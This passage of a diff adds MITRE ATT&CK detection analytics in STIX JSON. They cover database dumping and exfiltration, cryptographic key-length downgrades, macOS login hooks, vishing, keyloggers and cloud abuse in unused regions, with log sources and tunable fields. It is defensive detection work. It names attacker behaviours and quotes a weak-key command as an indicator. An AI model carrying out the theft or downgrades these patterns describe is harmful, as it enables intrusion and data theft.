Kerberos requests within a tunable timeframe to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--147c0305-abff-4bc3-ae2a-acd69d0b87fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0242#AN0676", + "external_id": "AN0676" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0676", + "description": "Unusual database command-line access (e.g., `psql`, `mysql`, `mongo`) from non-admin users, occurring outside typical automation windows or without known service context. Often followed by data dumps to .sql/.csv files or outbound data transfers. Defender sees CLI tools launched interactively or by unusual parent processes, file writes to dump-like filenames, and external connections shortly after.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of CLI tools like psql, mysql, mongo, sqlite3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:PATH", + "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDBClients", + "description": "List of user or automation accounts expected to use database clients" + }, + { + "field": "DumpFilePattern", + "description": "Filename patterns used to identify data dumps (e.g., *.sql, backup_*.csv)" + }, + { + "field": "TimeWindow", + "description": "Time threshold for correlating execution, file write, and outbound transfer" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d869b672-c3e9-446c-9e7a-c9ce5888794c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0242#AN0677", + "external_id": "AN0677" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0677", + "description": "Database client execution (e.g., sqlcmd.exe, isql.exe) by users or from locations not tied to enterprise automation or backups. Often followed by creation of .sql/.bak/.csv files, registry artifacts for ODBC/JDBC drivers, or encrypted ZIPs. Defender sees SQL tools launched by explorer.exe, Powershell, or odd parent processes, plus file writes in user temp locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownDBToolPaths", + "description": "Directories where legitimate database tools are installed" + }, + { + "field": "ExportExtensionPatterns", + "description": "List of file extensions commonly used for DB exports" + }, + { + "field": "MaxTransferVolume", + "description": "Threshold for outbound data volume that may suggest large DB dumps" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e87713d-d062-413c-9643-97df331ba651", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0242#AN0678", + "external_id": "AN0678" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0678", + "description": "Execution of Java-based or CLI database tools (e.g., DBeaver, Beekeeper, mysql, psql) from user profiles not tied to dev/admin roles, especially when followed by file writes and cloud sync activity. Defender correlates GUI tool launches, file write events in ~/Downloads or ~/Documents, and outbound API calls to known cloud services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process start of Java or native DB client tools" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CloudSyncDomainList", + "description": "FQDNs of sync services used to detect likely outbound DB leakages" + }, + { + "field": "UserPrivilegeLevel", + "description": "Whether to treat low-privilege users accessing DB tools as higher risk" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--041812fa-5446-47cc-8ca0-1106f4874c10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0242#AN0679", + "external_id": "AN0679" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0679", + "description": "Database enumeration and export activity (e.g., `SELECT * FROM`, `SHOW DATABASES`) issued via ephemeral VMs, admin APIs, or cloud shell from non-monitoring accounts. Defender correlates audit logs (CloudTrail, GCP Admin, AzureDiagnostics), storage write ops, and cross-region transfers by identities not tied to DB operations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "AWS:CloudTrail", + "channel": "rds:ExecuteStatement: Large data access via RDS or Aurora with unknown session context" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "PutObject: S3 writes with .sql/.csv extension by same identity or within 5 min of DB access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "AWS:VPCFlowLogs", + "channel": "Large transfer volume (>20MB) from RDS IP range to external public IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IAMAccessPatterns", + "description": "Define which IAM roles/accounts are allowed DB operations" + }, + { + "field": "S3ExportThreshold", + "description": "Size threshold (MB) or file pattern for S3-based exfil monitoring" + }, + { + "field": "DBQueryVerbosityThreshold", + "description": "Number of rows/columns or duration to flag long-running queries" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--544c832f-4849-4fb7-a851-5f69ec0692a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0242#AN0680", + "external_id": "AN0680" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0680", + "description": "Unusual or excessive database/table exports from SaaS database platforms (e.g., Snowflake, Firebase, BigQuery, Airtable) by users or apps not in known analytics or dev groups. Defender observes access patterns outside baseline working hours or with new query templates, and correlates those with audit logs or file downloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:Snowflake", + "channel": "QUERY: Large or repeated SELECT * queries to sensitive tables" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "m365:unified", + "channel": "Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselineQueryTemplates", + "description": "Query hash or shape for common BI/ETL jobs to reduce false positives" + }, + { + "field": "OffHoursAccessWindow", + "description": "Window to define after-hours activity thresholds for DB access" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b9e42cd6-da26-4e57-b628-aca0fb1bb3f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0243#AN0681", + "external_id": "AN0681" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0681", + "description": "Defenders may observe attempts to alter cryptographic settings on network devices that reduce key strength or allowable cipher suites. Suspicious indicators include configuration changes that downgrade encryption algorithms, key length parameters, or the disabling of strong encryption in favor of legacy ciphers. These activities often appear as CLI commands modifying crypto policies, firmware changes affecting crypto libraries, or unexpected updates to key management files. Correlation across device config logs and traffic analysis showing weaker ciphers provides higher confidence of malicious key space reduction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedKeyLengths", + "description": "Defines the minimum acceptable encryption key sizes; tunable to organizational policy." + }, + { + "field": "CipherSuiteBaseline", + "description": "Baseline list of approved cipher suites for network sessions; deviations may indicate tampering." + }, + { + "field": "AuthorizedAdminAccounts", + "description": "Whitelisted accounts for executing crypto configuration changes; ensures alerts only trigger on unauthorized actions." + }, + { + "field": "TimeWindow", + "description": "Time correlation period between configuration change and anomalous traffic downgrade; adjustable to reduce noise." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a424183-94ca-4dc1-a03b-610d174aa973", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0244#AN0682", + "external_id": "AN0682" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0682", + "description": "Detection of persistent login hooks configured via defaults or plist modifications that result in execution of scripts or binaries at user login, breaking expected parent-child process lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "loginwindow or tccd-related entries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:plist", + "channel": "/var/root/Library/Preferences/com.apple.loginwindow.plist" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "login_hook_path", + "description": "Path of script or binary assigned to login hook; may vary by environment" + }, + { + "field": "user_context", + "description": "Login hook may be applied to specific user accounts; tune by privilege level" + }, + { + "field": "time_window", + "description": "Correlate plist file modification to execution within a short timeframe" + }, + { + "field": "parent_process_name", + "description": "Expected parent process (e.g., loginwindow); anomalies can indicate masquerading" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--caa11058-4906-48b4-ab3f-a650aab6968d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0245#AN0683", + "external_id": "AN0683" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0683", + "description": "Monitor call log records from corporate devices for unusual or unauthorized numbers, especially repeated calls to/from known malicious phone numbers. Correlate with subsequent system events (e.g., browser navigation, remote management tool execution).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:CallRecords", + "channel": "Outbound or inbound calls to high-risk or blocklisted numbers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PhoneNumberBlocklist", + "description": "List of known malicious or suspicious phone numbers; must be tuned per environment" + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating call events with subsequent suspicious system activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c5134555-561a-4905-8601-a6ba307fc121", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0245#AN0684", + "external_id": "AN0684" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0684", + "description": "Audit VoIP/SIP logs for suspicious outbound calls or call setup messages to unusual endpoints. Correlate with user activity such as browser execution or package installation following the call.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "networkdevice:syslog", + "channel": "SIP REGISTER, INVITE, or unusual call destination metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CallDestinationPatterns", + "description": "Regular expressions or rules for spotting abnormal call destinations" + }, + { + "field": "UserContext", + "description": "Expected users who initiate VoIP traffic vs. anomalous accounts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--756214e0-660d-4f32-a4f1-f8ff24a7852f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0245#AN0685", + "external_id": "AN0685" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0685", + "description": "Monitor Facetime, iMessage, or SIP client logs for anomalous voice call attempts. Link to subsequent user execution events (downloads, RMM installs) triggered post-call.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Outgoing or incoming calls with non-standard caller IDs or unusual metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CallerIDPatterns", + "description": "Patterns of spoofed caller IDs that must be tuned based on region and telecom provider" + }, + { + "field": "PayloadCorrelation", + "description": "Define what follow-on events (browser downloads, execution) to correlate with call logs" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--345af006-d658-4f22-aef6-b1cfc0058875", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0245#AN0686", + "external_id": "AN0686" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0686", + "description": "Correlate MFA push fatigue or unusual consent grant attempts with call activity where adversaries may have socially engineered the user over voice.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFARequestThreshold", + "description": "Number of MFA push requests within a timeframe aligned to a suspicious call" + }, + { + "field": "ConsentGrantPatterns", + "description": "Unusual OAuth consent URLs or delegated scopes" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8180320e-ab62-44e5-afae-eba6ba23d769", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0246#AN0687", + "external_id": "AN0687" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0687", + "description": "Behavior chain involving unexpected API calls to capture keyboard input, driver loads for keyloggers, or remote use of smart card authentication via logon sessions not initiated by local user interaction", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10, 7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624 with LogonType=9 or smartcard logon" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessMask", + "description": "Tunable based on what memory-level access the keylogger uses (e.g., 0x10 for read)" + }, + { + "field": "ProcessNameExclusions", + "description": "Legitimate accessibility tools may use similar API calls (e.g., Magnifier.exe)" + }, + { + "field": "TimeWindow", + "description": "Define how quickly access + registry mod + smart card use must co-occur" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a13d795-7c26-44b6-ad1b-2ad732dc33c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0246#AN0688", + "external_id": "AN0688" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0688", + "description": "Detection of unauthorized keylogger behavior through access to `/dev/input`, loading kernel modules (e.g., via insmod), or polling user input devices from non-user shells", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "linux:syslog", + "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "linux:syslog", + "channel": "dmesg or syslog for module loads" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathTarget", + "description": "Can tune based on device paths accessed for keyboard input (e.g., /dev/input/event0)" + }, + { + "field": "UserContext", + "description": "Exclude root or admin-auth shell sessions if needed" + }, + { + "field": "ModuleWhitelist", + "description": "Set a known list of allowed kernel modules" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7d5eb9bd-5e53-4cf8-b86d-7136bbf8f673", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0246#AN0689", + "external_id": "AN0689" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0689", + "description": "Processes accessing TCC-protected input APIs or polling HID services without user interaction, or dynamically loaded keylogging frameworks using accessibility privileges", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "com.apple.securityd, com.apple.tccd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "query: process_events, launchd, and tcc.db access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessibilityAPIUsage", + "description": "Detection of programs requesting access to input monitoring (e.g., CGEventTap)" + }, + { + "field": "TCCBypassAttempt", + "description": "Alert if TCC settings are altered or bypassed" + }, + { + "field": "SignedBinaryCheck", + "description": "Tunable based on developer signing status (legitimate software vs unsigned)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d4419cc-6925-4f7d-a247-e0a4634fea90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0247#AN0690", + "external_id": "AN0690" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0690", + "description": "Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "CloudTrail:RunInstances", + "channel": "RunInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--59ec10d9-546b-4b8e-bccb-fa85f71e5055", + "name": "AWS:CloudTrail", + "channel": "CreateBucket" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "CloudTrail:GetCallerIdentity", + "channel": "GetCallerIdentity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "AWS:VPCFlowLogs", + "channel": "High outbound traffic from new region resource" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnusedRegionList", + "description": "List of regions historically unused by the organization (can vary per tenant/project)" + }, + { + "field": "TimeWindow", + "description": "Time interval for correlating activity following account access" + }, + { + "field": "AllowedServiceList", + "description": "Whitelist of services allowed in secondary/DR regions" + }, + { + "field": "OutboundTrafficThreshold", + "description": "Volume threshold to flag suspicious outbound activity" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4c16cebd-ac7e-472a-ae12-62966cbd19e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0248#AN0691", + "external_id": "AN0691" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0691", + "description": "CONTAINERS (Docker/K8s/containerd): A user pulls an untrusted image from a public/unknown registry and then creates/starts a container from that image. Shortly after start, the container spawns 